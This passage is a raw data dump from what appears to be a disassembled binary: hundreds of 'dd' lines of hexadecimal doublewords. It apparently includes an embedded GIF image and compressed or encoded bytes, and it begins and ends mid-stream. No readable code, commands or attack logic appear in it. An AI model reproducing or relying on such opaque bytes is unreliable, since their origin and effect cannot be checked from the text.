0A406A07Dh, 68669CEh dd 646E9DE6h, 6CAC06ABh, 587C0788h, 5C05385h, 0D86D7ED7h dd 9ED96D8Eh, 6DAEDA6Dh, 0DC6DBEDBh, 0DEDD6DCEh, 6DEEDE6Dh dd 0D76DFEDFh, 0C0558546h, 0ED087887h, 72873A57h, 0F05587B8h dd 0EC386A04h, 0E86E787Bh, 9EE96E8Eh, 6EAEEA6Eh, 0EC6EBEEBh dd 0DEED6ECEh, 6EEEEE6Eh, 0EEEEFEEFh, 184F6A36h, 6C2078EEh dd 64ED1EA9h, 0EED36726h, 7FEABE9h, 0D76D686Ah, 9EF905EEh dd 6FAEFA6Fh, 0FC6FBEFBh, 0DEFD6FCEh, 6FEEFE6Fh, 6FFEFFh dd 0F01700Fh, 546D7F0h, 96AF686Ah, 0C04F6C46h, 72F0607h dd 8707F07h, 9F09708Fh, 70AF0A70h, 0C70BF0Bh, 0DF0D70CFh dd 70EF0E70h, 670EF0Fh, 0FEE607C7h, 0AAAEF307h, 0F5E656A9h dd 5EF6E5D6h, 0FE7ED705h, 7936086h, 19718F18h, 0AF1A719Fh dd 71BF1B71h, 1D71CF1Ch, 0EF1E71DFh, 71FF1F71h, 73F1EF20h dd 706786E0h, 0F04055EDh, 307BEC2h, 6F0FEAD7h, 727F2772h dd 29728F28h, 0F70B729Fh, 5406A6Ch, 13AAC712h, 8E6EEF57h dd 73ABE67h, 5C05407Dh, 0B87F85E8h, 73387887h, 35734F34h dd 6F36735Fh, 737F3773h dd 39738F38h, 0AF3A739Fh, 73BF3B73h, 7F87BF3Bh, 0C05C05E8h dd 891712F2h, 5087B873h, 36C08728h, 743F3C73h, 45744F44h dd 6F46745Fh, 73D73674h, 5087287Ch, 26D172C8h, 6D266C95h dd 1569E6AAh, 432DAC07h, 0F3205B85h, 0ECF508EDh, 4F3F73E0h dd 73D741F0h, 0EAF54F51h, 0A74907B8h, 74B6F3F4h, 1474C676h dd 869F72EFh, 74F7302Bh, 8AF50h, 0FF5D8850h, 885F5E87h dd 4884F5Fh, 7618C13h, 76088776h, 81B03081h, 2F64F650h dd 0F67765B0h, 5B85E88Ah, 0D6C2F528h, 8FFE4187h, 7647660Dh dd 6D088762h, 376E883Fh, 0F3FF568Ch, 69F2DA88h, 0BABFED3Eh dd 5C05BF5h, 7668C6E2h, 380068B7h, 0F7677787h, 77776F78h dd 0AF7877A7h, 77B779E8h, 8A77DF7Dh, 0C77CF79Eh, 0F76F7FE8h dd 7BF7F77Fh, 2777E89Fh, 0F7E78278h, 5C6D568Ah, 1F577698h dd 850F3018h, 2A6E2703h, 88007287h, 0F8AF8BF0h, 0D78CF0Fh dd 0F70B78E7h, 70F78D78h, 49EF76D5h, 22887717h, 68466177h dd 17F5BABFh, 107387BBh, 798F9807h, 99F99F99h, 0B0710007h dd 0B03798F9h, 9BB02F9Bh, 0C79879EFh, 0F9D79D79h, 9CF9C79Dh dd 0E79B79A7h, 79EF9F79h, 9FFA5FA2h, 6FA3FA47h, 0F9FFA27Ah dd 0A1FA7FA2h, 0AFAB7AAFh, 0FA37A17Ah, 0A57AA7A4h, 0FF9A7A2Fh dd 0F40F99FAh, 6A05685Bh, 96ACA57Fh, 790F32F8h, 4F8F727h dd 73037073h, 0FB6707FBh, 0B6872FB8h, 87B7FBA7h, 0FBBF8CFBh dd 0BB7BBFBAh, 2FBD7BCFh, 0E7B8FEB0h, 70F7B57Bh, 9286A73Dh dd 96F472D7h, 0F73794E6h, 5407FF95h, 285B8568h, 0FC9FB06Eh dd 0AEFAF7A9h, 0A7CC7CBFh, 7997A67Ah, 0A97A6FA4h, 0F7A07A67h dd 0FA3FAE79h, 0CB7A97D0h, 0BFD37D27h, 7CAFD07Ch, 0ADFD1FB0h dd 7CA7D7Fh, 878873FBh, 737B2FB1h, 8F03F6B2h, 0B887287h dd 0DF7DEFDEh, 0FE07DFFh, 7E0FEh, 0DF7E27DEh, 0FFE37E27h dd 7E48B8D7h, 0E57E5FE4h, 0DB02FE57h, 7E97E609h, 0E9FEA7E7h dd 0BFE9FE7Fh, 7EDFE17Eh, 0B8FEEFEEh, 20788728h, 2AA787F9h dd 0F6687F94h, 8730F4E6h, 871078FCh, 0F77F686Fh, 7FF87F7Fh dd 0FF70007Fh, 0FA86FFF9h, 0AFF6FFA7h, 0FFBFF9FFh, 0FCFFB304h dd 0F8807FEFh, 207026h, 1E0D0200h, 9BF0884Ch, 90C86C1h dd 30787416h, 118642E2h, 887C6213h, 8244A290h, 0C3E3F03h dd 0C5A3D1A9h, 0A24F2082h, 0DE2E26FCh, 0FEA8532Dh, 73268365h dd 0A17D3666h, 8BFDA8FEh, 0CF1A8E57h, 27F3E9Eh, 68742A0Dh dd 8D3D0050h, 0D3C88D1Eh, 4EA3D228h, 4A75329Bh, 0A854AA0Dh dd 0B502A714h, 0D12A94AAh, 0FABF5EAEh, 1FEF172Ch, 673050B5h dd 76AB4DA2h, 0D499DB2Dh, 6685BDA0h, 6AB318CDh, 23399CD5h dd 1A9D6FB6h, 10BC5418h, 0C9E56020h, 0F2ED3113h, 0CCAB8B55h dd 8EB6B298h, 0AC8E431Fh, 543E9CF6h, 13C95AA6h, 0E7336DC7h dd 733B9ECEh, 0F3C00CDCh, 47A56E68h, 5A8CE69Fh, 0ABD6E7F4h dd 0CD8E9B59h, 0D9EA757Ah, 0BECB5BAAh, 6D763B0Dh, 0FB41BEDDh dd 377B9D7Eh, 0E4E2DC6Eh, 367972B5h, 0A17FB66Dh, 96A4E57Eh dd 0EAF53A6Dh, 0CF63AFD6h, 803B3DAEh, 53BDDDE9h, 7BFDDEFFh dd 0C7E4F2F8h, 3E76CF97h, 0E4EAFAFDh, 0DEB7ABD3h, 0FAFD3B7Eh dd 1B53A9F6h, 4C6CCBFBh, 0BED5FEC9h, 755CD715h, 5ED795DDh dd 0D815FD7Dh, 961D8560h, 358B4C98h, 13849FF6h, 0FE9945B6h dd 5668AD65h, 0DDA5715Ch, 1E6BE1C6h, 6C9056EAh, 5A86FE20h dd 46EE1C6Fh, 0E2488A2h, 206E6287h, 70E2F89Eh, 0E1D8C1C4h dd 267E1A6Fh, 0F52F724Eh, 37735687h, 2FCE53FDh, 0A4591243h dd 99224791h, 24A92A4h, 4E936430h, 9364F912h, 2559464Fh dd 0F9565395h, 6E5995CBh, 5D976509h, 9426196Ah, 0A659924Bh dd 43964699h, 4A147F16h, 34CA018h, 5E9785DAh, 9805F97Ch dd 86198460h, 0B18C6298h, 169B27D9h, 8E21965Eh, 9A78B99Fh dd 8709A688h, 8A888AE2h, 11682876h, 6928A6CDh, 68F6D225h dd 76AA93A1h, 428EA6A8h, 9DA668CAh, 87A88A76h, 0E39A0E8Eh dd 75A1CB8Eh, 9538738Eh, 0AF99CD93h, 44646AC2h, 0E4E41645h dd 3ACA63ACh, 651496EBh, 5A952B69h, 0AFAB594Ah, 0E57B06B4h dd 7B22B1ADh, 96693666h, 7E39CFF5h, 5CA6E64Ah, 2069C574h dd 0C9DE099Dh, 0F20F9EA0h, 91B7AD09h, 61FE8A01h, 5B92E3A9h dd 122E8E2Eh, 0EBBAAE67h, 0A96EDBB2h, 6CF72A3Ah, 9902AA5Ah dd 0E2C9350Dh, 0BF926F9Bh, 0BEAFC99Eh, 0F01C02FFh, 0E9A9D22Fh dd 498FB7ECh, 7381670Bh, 82E76822h, 0D083A79h, 0CC530784h dd 98ABAA96h, 0B82DCA62h, 0C7B1D33Ch, 0B21C831Fh, 5C9323C8h dd 31DC9B2h, 27CA7210h, 0CBB2DCB3h, 731CC32Fh, 64B4B8C8h dd 0CF062ACAh, 0BF2A0FFBh, 0CFB3D3C4h, 0B41D033Fh, 5D1343D0h dd 173ED1B4h, 0D0B474h, 0D3B4DD28h, 751D434Fh, 24BCBFD1h dd 0C200C56Fh, 0BB526F5h, 82A7581Fh, 67B83678h, 0AD935784h dd 64A2352Ah, 6B2DCADCh, 0DBB6DDB3h, 0B71DC36Fh, 5DD373DCh dd 0E377DDB7h, 7BDEB79Dh, 299C9DEBh, 3564E0A2h, 9279644Dh dd 0C787D49Fh, 8BE28F73h, 0E338DE33h, 0B91E4388h, 4D4393E4h dd 92A8E14Dh, 0D3D656EDh, 0D7672812h, 361C3ED8h, 4E6763B7h dd 0E0F139F1h, 19DA0AB3h, 0BADEFEB3h, 1EC3AFEBh, 0D3B3ECBBh dd 0B7EDBB5Eh, 0EEBB9EE3h, 0B19EF3BBh, 13E0AB28h, 9D32E08Fh dd 0AB3FCF63h, 0E5162278h, 0BCDF33CBh, 5D47CFF3h, 0C737278Eh dd 59E963D3h, 0E7B5B80Bh, 0F60C3AD7h, 7B7712B6h, 50E7C1FDh dd 0D43E0FA3h, 0FA8A12ACh, 0BEDFB3EBh, 1FB8A0FAh, 0D3F3FCBFh dd 0F7FDBF5Fh, 0FEBF9FE3h, 0FF0FE7FBh, 350ABFEh, 0C6A0FA1Fh dd 8E71A0F0h, 7905909Ah, 320589Eh, 7C0E81Bh, 12823042h dd 2B05209Ch, 620BC168h, 0DC1A8330h, 0A80106E0h, 0A3647B8Fh dd 984B6480h, 0B0D5ACF6h, 622B69AFh, 0F8DF1313h, 7D0E580Eh dd 321FE3E8h, 6B0C07FCh, 0E21BC368h, 0DC3A8730h, 0E87B0F21h dd 31021FC3h, 221C4288h, 43387D11h, 55A3EA1Ah, 12E028E7h dd 1AB8B597h, 528A2E3Ah, 0AB15229Ch, 6222B8C8h, 3C468B31h dd 38BB1722h, 51622D43h, 1ABC2289h, 42673B09h, 620B65AFh dd 0B616362h, 9D380FFEh, 3EF1BA25h, 1D239C72h, 381DB8EBh dd 7A8F31E2h, 0FB1F23DCh, 23FC7E8h, 9C819032h, 690B208Ch dd 0D13643C8h, 245C8A8Eh, 0C8E91B23h, 8D91E610h, 0C316AC65h dd 0EFBA18D0h, 9A8D90ADh, 3B2724DCh, 824FC9E9h, 1CA29432h dd 32D72925h, 0F71AE49h, 5D1C6A85h, 0CAE95B29h, 9632C257h dd 2D259CB2h, 0EDCA7939h, 0A28D309Dh, 6AE91F03h, 25FCBE9h dd 1CC29833h, 74293126h, 0A82633CBh, 0C1986A00h, 8EB0C40Ch dd 1AC35C7Ah, 320648D4h, 680C99AAh, 0DA9B25E0h, 0BB3726DCh dd 826FCDE9h, 1CE29C33h, 69CB3927h, 33A273CEh, 275CEA9Dh dd 0CEE9DB3Bh, 98B38A77h, 34E514F2h, 0B78DA264h, 581E03D8h dd 7619C338h, 70028080h, 30220661h, 0D1B03F4Ch, 0C3406B0Dh dd 0E5E8C818h, 0D0EA1B3Ch, 0A2344287h, 3550A512h, 7C93D264h dd 3B0E63CCh, 0A1A81E8h, 882B0050h, 0E8EDA060h, 0FE0E3747h dd 50C6B12Ah, 5D13A103h, 0E2C12FA9h, 34C297D2h, 299D32A6h dd 0D36A6B4Dh, 0A734E29Bh, 3569AD3Ah, 1B862A30h, 807A19Ch dd 60160040h, 983F8300h, 0F0DD1F03h, 81C03586h, 0B3DC648Ch dd 2A98E0A9h, 0D56AAB55h, 0AB3562ABh, 572ADD5Ah, 0AFD5EABBh dd 62AC3582h, 0CB592B1Dh, 0A2B3D66Ah, 5D6AAD35h, 0EADB5B2Bh dd 0B5C2B7D6h, 8E9170ABh dd 0D4AEA36h, 6F4F870h, 50C33827h, 1D04F077h, 0F61961FCh dd 0A8312948h, 64620C99h, 58C41AC3h, 0EB1B632Ch, 3642C7D8h dd 2C9D92B2h, 0D96B2B65h, 0B33662CBh, 672CDD9Ah, 0CFD9EB3Bh dd 0A2B43682h, 4B692D1Dh, 0A2D3DA6Bh, 58D9B336h, 962433ACh dd 808A9FCFh, 34009AFh, 0F31969Eh, 192380B8h, 3C2A8D50h dd 0DFDBEB7Bh, 0BFB83702h, 8B712BADh, 22E3DC6Bh, 5DCAB937h dd 0EB9B732Eh, 3742E7DCh, 2E10DABAh, 0DD6BAB75h, 3A4802EAh dd 3806D0CEh, 0CFEA194h, 0C439878h, 5F01807Bh, 3A05E00Dh dd 0F31CD334h, 0E1454BB0h, 5C6B0D62h, 9DF2A763h, 6BEB7D2Fh dd 37E2FBDFh, 2FDDFABFh, 5FEBFB7Fh, 0BD97B29Ah, 35AA58D7h dd 698D31AAh, 0EB1E6330h, 0FC0CE9F8h, 0DC398039h, 988206E0h dd 31AF4147h, 0B80C6A8Dh, 0C6C0D81Bh, 0E1EC3A35h, 0C438830Fh dd 89311E22h, 13E26C4Bh, 2AC538A3h, 5B8B315Eh, 0C317E2ECh dd 9E32C638h, 6C6B8D31h, 38E31BE3h, 0F11E3AC7h, 61BC3B86h dd 1AF86A83h, 3E479976h, 268821DAh, 30E6160h, 0AC168018h dd 8C410560h, 0E8F41FA3h, 0DCAA3D47h, 39632B8Fh, 32DE5ACBh dd 0E5ECBB97h, 0CC39832Fh, 99331E62h, 33E66CCBh, 6ACD39A3h dd 0DB9B335Eh, 0C337E6ECh, 9E72CE39h, 5CDD9D33h, 2087565h dd 0C2E0560Bh, 85E01000h, 182136A0h, 3AC770EEh, 798ED1D0h dd 8AD123BCh, 1BA3345Eh, 4347E8EDh, 9E92D23Ah, 6D2BA534h dd 634BFEE9h, 0DE9AD33Ah, 0ED3BA734h, 3A834FE9h, 351EA2D4h dd 0EA6D4BA9h, 0D523B749h, 3CF556AAh, 778E81D0h, 37183AB4h dd 0AC19C2A0h, 0F4040040h, 38760C00h, 809A1EC1h, 20EC1D83h dd 42683907h, 3B07213h, 0D93B2362h, 0B3365ECAh, 67ECED9Bh dd 0D2DA3B43h, 0ABB5369Eh, 636BED6Dh, 0DEDADB3Bh, 0EDBBB736h dd 3B836FEDh, 371EE2DCh, 858D9DB9h, 0DCFBA373h, 0DC1D84Dh dd 0F04D0D0h, 1B1081A0h, 241803B0h, 68078070h, 0D03A0840h dd 0F0661081h, 81082157h, 82A0220Ah, 0F060C1BEh, 0E13C2383h dd 0C3385F0Ah, 87F0EE1Bh, 12E23C43h, 2BC5389Fh, 638BF16Eh dd 0DF1AE33Ch, 0EE3BC738h, 3C838FF1h, 0B91F22E4h, 6FAE01C4h dd 0CE1837Eh, 1D810860h, 0D03A05Ah, 3701E034h, 6809C300h dd 0E80D822Eh, 1521A8C0h, 6E720C01h, 3D039FD4h, 3A1F42E8h dd 0F46E8BD1h, 0E93D23A3h, 0D33A5F4Ah, 0A7F4EE9Bh, 0EA3D43ECh dd 0D53A9F52h, 0ABF56EABh, 5AEB3D63h, 9D13ADFh, 8BA084F3h dd 3842DF40h, 70340683h, 0F81D02h, 8030790Ch, 85A0E000h dd 0FE1FC39h, 0B0034073h, 2F0680D1h, 760F3DD0h, 0FBDF3BDFh dd 3BFF7EEh, 1F82F03Eh, 6F0BE13Ch, 3E23C3F8h, 3C5F8AF1h dd 0F8EF1BE3h, 0F23E43C7h, 0E53C9F92h, 0CBF96F2Bh, 0E9DD3E07h dd 0BDB03BA6h, 803CF730h, 8700B5Eh, 4C960040h, 0D92C0280h dd 37AA00h, 805007EAh, 0F6347A7Fh, 0ED3D9FB2h, 0DBFB6F6Bh dd 0BAF73EE3h, 7BEF3DDFh, 3DFFBEFh, 1FC2F83Fh, 6F8BF13Eh dd 3F23E3FCh, 3E5FCAF9h, 0FB6F9BF3h, 0F65F40C0h, 0E7FD43h dd 1FACF4Eh, 0DA133E90h, 0BBF73EDFh, 83EFFDEFh, 1FE2FC3Fh dd 6FCBF93Fh, 3FA3F3FEh, 3F5FEAFDh, 0FEEFDBFBh, 0FE3FC3F7h dd 0FD3F9FF2h, 0FBFF6FEBh, 1FCBFE3h, 3B0001h, 38464947h dd 11D6137h, 0FCE70118h, 10000h, 9090205h, 6000002h, 403130Ah dd 180D0311h, 0A020003h, 22005h, 2F000035h, 0D110003h dd 0D100700h, 450E0F14h, 4410003h, 0A004F06h, 1309171Ah dd 55E1619h, 10037304h, 1D1A1B1Fh, 1F15211Ch, 231B2320h dd 8B080674h, 940300h, 1D173D00h, 861C1A34h, 8820107h dd 200A106h, 551E251Ch, 0AC1515h, 0B00AC01h, 0A50C03A4h dd 21390004h, 0B624h, 0B72C2628h, 272A0700h, 1A1F4A26h dd 34100B92h, 186D2825h, 0C511h, 0C51D2F1Eh, 0CD0700h dd 0CF03h, 0CC0400CEh, 1C70C00h, 400CF11h, 51170CA1h, 1D11425h dd 100D906h, 0D20A00D8h, 9BD0003h, 7C803h, 0D21A178Bh dd 0E41003h, 0CBF00h, 4B170BBDh, 9D42D2Eh, 37382D09h, 3E373636h dd 13C03E33h, 190ADF0Fh, 0A70E13CDh, 15C1261Dh, 1E1BB129h dd 8E2A2A7Ch, 25962428h, 22259F2Ch, 461D15D8h, 1BD14340h dd 43433D19h, 0DC263679h, 4932181Bh, 273E6246h, 5332377Bh dd 20D52C45h, 3B3B7423h, 47414554h, 48525048h, 44455D3Ch dd 9F2B26D8h, 32BA3938h, 3628DC36h, 0D53B3C99h, 544D2B2Fh dd 53525953h, 783332D7h, 3CB94A4Dh, 4B4C9440h, 0D85D5A64h dd 61523C3Bh, 4C47AF5Ch, 0DC4338EAh, 6060383Eh, 403FDF60h dd 0DC6C6167h, 53AE4543h, 535D8D53h, 834F45E9h, 4BDE5863h dd 6564854Eh, 0DC52668Dh, 73584F51h, 6E6F7088h, 6A897260h dd 6F7B6E73h, 64756B6Dh, 0A35955E0h, 5BCA6A66h, 585DC968h dd 5F5A5CCFh, 5ADD8F7Ah, 6868B959h, 0E16969C5h, 836C6563h dd 7F807F93h, 6CB8913Eh, 70E59C87h, 716EEC71h, 899D8D76h dd 7BCB888Bh, 0FF944E79h, 907776E4h, 7AE08E8Fh, 0FD985679h dd 79A7967Fh, 0A06AC596h, 0FD9E62B8h, 988483E7h, 9C8F979Ah dd 858ECBAAh, 0A0FFA56Dh, 90EA9FA2h, 0A4A7A591h, 7B9697EAh dd 0AB9FFEAEh, 0A1A1ECB8h, 0E8FFB886h, 0ADD9A4A6h, 0B3B7B5A7h dd 0B9FFC17Fh, 0ADF0B8BBh, 0FFC096ABh, 0FAB5B3F0h, 0C7A5ADB6h dd 0C6C6C3FFh, 0F2C5C3D5h, 0CEB1BCBCh, 0C1C4F3FFh, 0F3FCD6B3h dd 0D7D5CDCBh, 0FFD8C4D4h, 0F7E1D9D0h, 0DACBD2D1h, 0D2D5ECFCh dd 0D4FDDEC2h, 0D4FAE5DCh, 0D8D9F8D5h, 0DFE3E1DBh, 0E4D6DEE1h dd 0EAE2D9DEh, 0E2FFE6CAh, 0E3E5E1E4h, 0E2E3E8E7h, 0E0FAE6D6h dd 0E2E9E7E5h, 0EEE4E3EEh, 0DAEFE6DEh, 0E6E4F5E7h, 0DEE1F8E3h dd 0E5DDE8E2h, 0E7E2E4E7h, 0D9E4F7F7h, 0EEE5E8E6h, 0EAE5D9E7h dd 0E0E8F0ECh, 0E3E8E6FBh, 0F2D4F4ECh, 0EAEDEBEFh, 0E6EBEAF6h dd 0EFEAF8EFh, 0F3F0EBF1h, 0F3E7EEF7h, 0EFFCE8F2h, 0F0F3F1F0h dd 0EFFCF4EBh, 0F7F2F7F4h, 0F4F5FBFAh, 0FCF0FFE8h, 0FCF6F2FBh dd 0F9FAFFFEh, 0F0F8FCF9h, 0FFF5FFFFh, 0FFFCFEFAh, 0FCFFFEF9h dd 0FFFEFBFEh, 2CFCh, 11D0000h, 8000118h, 80100FEh, 0A0B0481Ch dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8BC5A2B1h dd 90FC7F0Ah, 8EE3B1C1h, 8A43208Fh, 0A4B2491Ch, 532893C9h dd 0B2C95CAAh, 3097CBA5h, 58FCCA63h, 1EC886A3h, 6CE27338h dd 8EE7B359h, 0A864309Ah, 651D810h, 93489E8Ch, 0B4CA5D2Ah dd 50A7D3A9h, 4A9D4AA3h, 0ABD5AAB5h, 0F52EB358h, 0D707D351h dd 88603E1Ah, 0AAB62B1Dh, 895EB3D7h, 0B02100C8h, 70B2526Ch dd 4B9DCAE3h, 0BBDDAEB7h, 0DDEAF378h, 0DFAFB7CBh, 0A8B77BFh dd 86C32C1Eh, 6D1CC361h, 0F85C5E10h, 331AE3B0h, 0CA38EE92h dd 0AD51C016h, 0DE6B3398h, 0E7B3B9CCh, 0CC674CCFh, 3279EB70h dd 7B02128Ch, 0BA0AF8D2h, 0B0D7EBB5h, 1D6ECB63h, 0D486F4D9h dd 0DEEB73B3h, 5637BBCDh, 3381C0D1h, 36E3D1F5h, 93C8DF00h dd 15DE5F2Bh, 91B1D9EDh, 0EE18D2BDh, 0E75CEBDCh, 310ACA35h dd 6474749Eh, 0FEC3E0E6h, 0FD0CF78Bh, 249AE8F5h, 0CF5F8F70h dd 0B3D47DBEh, 8F2B948h, 5888963Bh, 64796019h, 0BB35EA3Fh dd 0F4339FCFh, 2365DDD7h, 81DEE7A8h, 5AC7B208h, 0C68C340Dh dd 0D5E581Fh, 470F2121h, 7E83E589h, 0C3E7C217h, 374D5D77h dd 1E054D60h, 0BE1E94A7h, 394F83BCh, 609194B7h, 0F8B4FF52h dd 30F43E0Fh, 24560973h, 5323556Ah dd 8F889472h, 0F4F48F30h, 0BCEF2E45h, 3E17CB93h, 91242902h dd 0C01C935h, 22B4E93Dh, 5A2D5544h, 0F4552375h, 589E77F1h dd 9F310C3Ch, 30C9414Dh, 0E19311C3h, 30759F37h, 50197834h dd 43579D4Ah, 0E23D4A88h, 0A8EF8BA2h, 6F4D62B8h, 55A339BEh dd 0A7956651h, 53E07252h, 83524A7h, 0E59BCE51h, 0A128293Ch dd 0E6F9F64Fh, 83FE5032h, 3966A3A7h, 107ED608h, 140370CEh dd 0C7C1C069h, 0DA747EA6h, 14241045h, 347CDFB6h, 99E1C0C0h dd 66C9A93Dh, 0D3FCDC52h, 65FE910Ah, 2E4FF2F8h, 6909D273h dd 0F2AC570Dh, 0ED57370Fh, 49ADEBD9h, 15CB0AC9h, 0FF29442h dd 0F2743533h, 5C572F8Fh, 0C9276B21h, 0B3ECDB2Eh, 8ABAC835h dd 0F2E45710h, 0F9529DCFh, 56B02DDAh, 85E1E0D1h, 87013942h dd 6210871Fh, 0B2EC1CC8h, 6E1B0711h, 1485D1B8h, 0E0251850h dd 581AAA53h, 0B4FF3D13h, 0EF3FE3E1h, 3187AAD8h, 47F32CF8h dd 8C04F8A0h, 0FCEF8994h, 0C730A723h, 0C445F4D6h, 4E52AC35h dd 615CB9C2h, 0D0E5226Bh, 7F0D6B43h, 318F832Ch, 0ABE52F07h dd 0DC6E2F10h, 0E46AC7F1h, 0B691CF42h, 0C853D8BAh, 0D35C9723h dd 12AE27C0h, 35B7B3h, 74C68EF3h, 3FF3D3E2h, 0FF92472h dd 5D174330h, 0D7471C83h, 0B893EFC0h, 0C594CB2Eh, 27BD0318h dd 0D4F724CDh, 0D71EC722h, 3E745549h, 0A138878h, 48A1D054h dd 0B1DC79BAh, 584A1586h, 6E160581h, 18C5B16Fh, 240E451h dd 46861E6Bh, 35BEFEA0h, 2DCF8B68h, 0FFD6B36h, 53E22DBFh dd 0FF2DF4h, 0FF24935Ah, 0E24AD2C0h, 2448B751h, 0F0D4ADE3h dd 0D8BE9BF8h, 8AD4A7EAh, 8B34AE16h, 0FFAE6B7h, 0DE1435A3h dd 345FE662h, 1A3A62ECh, 0E6F4BD7Bh, 79DD2A2Fh, 0FE949F8Bh dd 234C53E6h, 503FCE9Bh, 0D4E5CA3h, 0CFFEF7BBh, 84D74FEFh dd 5D4B3A72h, 0B6E662EEh, 0E1BB0927h, 0BAEE9F9Ah, 0B19C3256h dd 0A8872007h, 2B12048Dh, 5C17058h, 42BF8416h, 61244A0Ah dd 0DC2F0B04h, 654FE5E0h, 0BE53582Dh, 85752222h, 2ABE7031h dd 0CED9C678h, 0FF1E835Ah, 0FD13D318h, 3FC44872h, 4B835164h dd 0B25A08B8h, 6A2247F8h, 0B605B0D0h, 62B67061h, 84541096h dd 420A05B8h, 93A94A7Fh, 3B647A8Bh, 1608AA09h, 0E35672D2h dd 0A94856Ch, 1F82E0D6h, 842C16D3h, 35644170h, 685729EFh dd 84FCB415h, 50D19494h, 0D613426Bh, 38F09A15h, 81A529A1h dd 207835FEh, 358483Dh, 8230A213h, 0CF1152C4h, 0B01632A2h dd 810A864Ch, 0C41DC4A0h, 9C188480h, 0D87C0B80h, 0B1222443h dd 81483487h, 0C0901105h, 82B05205h, 5408818h, 961F6032h dd 0F8B7B4D2h, 2E112525h, 943D116Bh, 0FD893926h, 68357903h dd 0D7F61E95h, 0E1541ABFh, 5FEAD544h, 3BD62ED3h, 7E82AC41h dd 0BF916A90h, 423BB27Ah, 945CC99h, 14CD85F3h, 21419489h dd 7BBF6269h, 0E91A4D61h, 0AEEE4CA2h, 97041909h, 2AD0CA52h dd 86E0D602h, 0B0253B41h, 393B3652h, 87858532h, 389E53CCh dd 524CA2D9h, 0FB5F7052h, 7076594Eh, 62214C83h, 80E0580Eh dd 8900DC11h, 12425C4Fh, 224494C8h, 3307B11Ah, 0D0220E8h dd 4E084090h, 0D4168130h, 4AF74C60h, 0E3D265D5h, 2108A546h dd 612B211h, 83595311h, 5B4FE84Fh, 3E20038Ah, 7586D1F0h dd 0FB7FCD32h, 6CCC9D53h, 0C09AB507h, 0FE8F70AEh, 0EA8B4A6Ch dd 0FA1ACAA9h, 4CF757D0h, 0E9433F59h, 0EEC3694h, 9DE48C16h dd 3C0786F1h, 0A18A0685h, 3D05F34Bh, 7789218Ch, 7A293264h dd 212CA790h, 3A7FD015h, 19519C74h, 0E060710Dh, 1382595h dd 8240735Dh, 8900C00Bh, 13026052h, 1F43C082h, 390760F0h dd 7D0FA1D4h, 1E144378h, 46310020h, 0D8230260h, 0A6F20F12h dd 6DF1104Dh, 0A87A7250h, 0C984E547h, 9D615C9Ah, 0D418487Ah dd 0A68C0574h, 3AAAB555h, 1A3301ABh, 25898977h, 0E30D5C12h dd 0E2993E67h, 0D1DA4B2Dh, 0AB0AC096h, 0B4077652h, 27B28A1Ah dd 2958686Dh, 0D9555290h, 46689559h, 0CA525A43h, 6CA4C180h dd 0DD5D1615h, 0AD44D68h, 454EC2BAh, 1E03C34h, 393F410h dd 0D622038h, 1B813849h, 47897136h, 6D0F41FCh, 9A12D668h dd 942F8555h, 70680DA1h, 0C00C03C2h, 20240100h, 0FD82A03h dd 46D7DEAAh, 185080A5h, 9DFE12FEh, 2C474F0Bh, 27A2DDC4h dd 0E5586ADAh, 387F26Ah, 2545D016h, 841C93F3h, 26AFACA0h dd 0D8AB5B45h, 67490081h, 4F6B1D8h, 0D6D3F884h, 0AC44FD6Eh dd 6B7209Ah, 3FEEB5CBh, 5E417B92h, 49BAB2A9h, 0B8A0C2B9h dd 32731355h, 32D0844Bh, 1FEB4EFh, 0E8F525ADh, 5C52B20Bh dd 5C4B8452h, 0BB6DF6C1h, 481D1DD8h, 0A7D62BBFh, 3E2B80ECh dd 1A4228h, 482B0731h, 109D1236h, 0B0CA1D84h, 40A81443h dd 82383005h, 61409610h, 821A026h, 1400010h, 0D80A018h dd 0DD27E7ECh, 90AACEF9h, 0E13ABA92h, 22B61043h, 79168BDCh dd 0A1A91742h, 1CD84227h, 3850AE91h, 4E0AC9A8h, 0B79220FFh dd 0E6C1C95Ah, 65291412h, 803968D0h, 0B60C2AD6h, 7BAF8172h dd 0D8F35CD3h, 45218FA2h, 0D40C1A57h, 0A8693AA0h, 49F2D729h dd 531CC2C6h, 86A2DC6Eh, 475218E9h, 9D916FDEh, 38FEC4CCh dd 0C0770DC1h, 234AFEC2h, 9436D301h, 0D91A0641h, 109C14C0h dd 0A0FC11AAh, 82383B09h, 82D08A16h, 601405h, 0BD809807h dd 6ED46342h, 17164C4Ah, 0F62F877Bh, 10392B68h, 0EE8C18CCh dd 0DAF4A0C9h, 1732AA93h, 0D6CE9462h, 57C15ACBh, 104CF284h dd 7C86E304h, 1AEA4C7Dh, 0B765ECB4h, 2F761240h, 8613BCC6h dd 207FD47Ah, 0BAB23958h, 5AB47C6Ah, 0D4841AD2h, 0EF16E17h dd 0D77AA98Fh, 4F521EBDh, 6E31714Ah, 9A29792Ch, 47A7077Eh dd 0E35027B8h, 44B8D443h, 4D6CC70Ah, 0A0F29215h, 24B6A97h dd 8980F60Bh, 0AE1A83Fh, 1D0B5942h, 1009F482h, 200600FCh dd 261550B9h, 28020h, 0B01A0100h, 0C4D286C9h, 0AB7F1195h dd 0D8686A29h, 0EFC56BA8h, 8D25237Eh, 1B81283Eh, 30015A52h dd 55DBC274h, 8C0F41B0h, 0E8480202h, 0B21F43h, 207664C1h dd 60F0F983h, 80303F07h, 81300986h, 5274901Bh, 0DF37A949h dd 44B29EFEh, 0DFD441DBh, 51B7F728h, 31854060h, 1D05C16Ch dd 0F0224458h, 0C82105F0h, 183007A0h, 31F9C341h, 0AA981040h dd 90083B07h, 2F07658h, 0A00C01h, 0FC0D00Ah, 9114A2BAh dd 6FE49A1Bh, 588EE065h, 0B3AAF29Ch, 81683567h, 40A7C5C1h dd 40602D86h, 43F88C07h, 96109A1Bh, 4C0A09Ah, 3F07D87Bh dd 0FC026166h, 1B3FE6ACh, 0C014038h, 9CB771C0h, 6A015C45h dd 2967702h, 0FDFBBE98h, 0BC0F80EFh, 17FF07E0h, 0EB447CC9h dd 1842E83Ch, 2C818090h, 6A0F423Ch, 60778268h, 0EC1182A0h dd 40F71E81h, 128C08C5h, 20CD05A0h, 100301h, 4201E01h dd 0E2E4841Fh, 5AC1F740h, 0B09D3204h, 56402831h, 9FECBD8Fh dd 0D4220302h, 40580BC0h, 0D20142h, 0A1002BF9h, 8119422Ch dd 89062E19h, 9B2A9BCDh, 0C0783Ch, 4807000h, 0A22C8108h dd 500F8B19h, 0CCA46F60h, 0CFD8FAE4h, 0FEB7F6BEh, 